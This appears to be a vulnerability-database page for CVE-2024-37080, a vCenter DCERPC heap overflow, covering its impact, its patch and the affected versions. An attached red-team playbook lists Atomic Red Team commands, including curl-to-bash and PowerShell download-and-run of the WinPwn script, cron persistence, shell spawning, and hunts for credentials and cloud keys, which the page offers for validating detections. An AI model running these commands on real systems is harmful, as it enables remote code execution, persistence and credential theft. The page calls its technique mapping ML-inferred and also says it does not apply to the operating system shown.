CVE-2024-37080
Overview
This vulnerability is a heap-based buffer overflow occurring within the implementation of the DCERPC protocol in VMware vCenter Server. The flaw arises from improper handling of specially crafted network packets that exceed the allocated heap memory buffer. The affected component is the network-facing DCERPC service in vCenter Server version 8.0 and its updates, which processes remote procedure call requests over the network.
Vulnerability Description
vCenter Server contains a heap-overflow vulnerability in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may trigger this vulnerability by sending a specially crafted network packet potentially leading to remote code execution.
Impact
An unauthenticated attacker with network access to the vCenter Server can exploit this vulnerability to execute arbitrary code remotely, potentially gaining full control over the server. The attack requires no user interaction and no prior authentication, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to compromise of the management infrastructure, enabling data breaches, disruption of virtualization services, and lateral movement within the network environment.
Solution
VMware has released patches addressing this vulnerability in vCenter Server version 8.0 and its update releases, as detailed in the Broadcom advisory (https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24453). Administrators should apply the latest security updates for vCenter Server 8.0 and 8.0 update1 immediately. The advisory provides specific patch versions and installation instructions to remediate the heap overflow flaw in the DCERPC protocol implementation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (86)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:-:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:b:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:c:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1b:*:*:*:*:*:*
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|
|
Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2a:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 8.0 |
cpe:2.3:a:vmware:vcenter_server:8.0:update2c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*
|
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1a:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
10 eventsSighting activity recorded
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-37080 |
| support.broadcom.com |
GitHub CVE
|
https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24453 |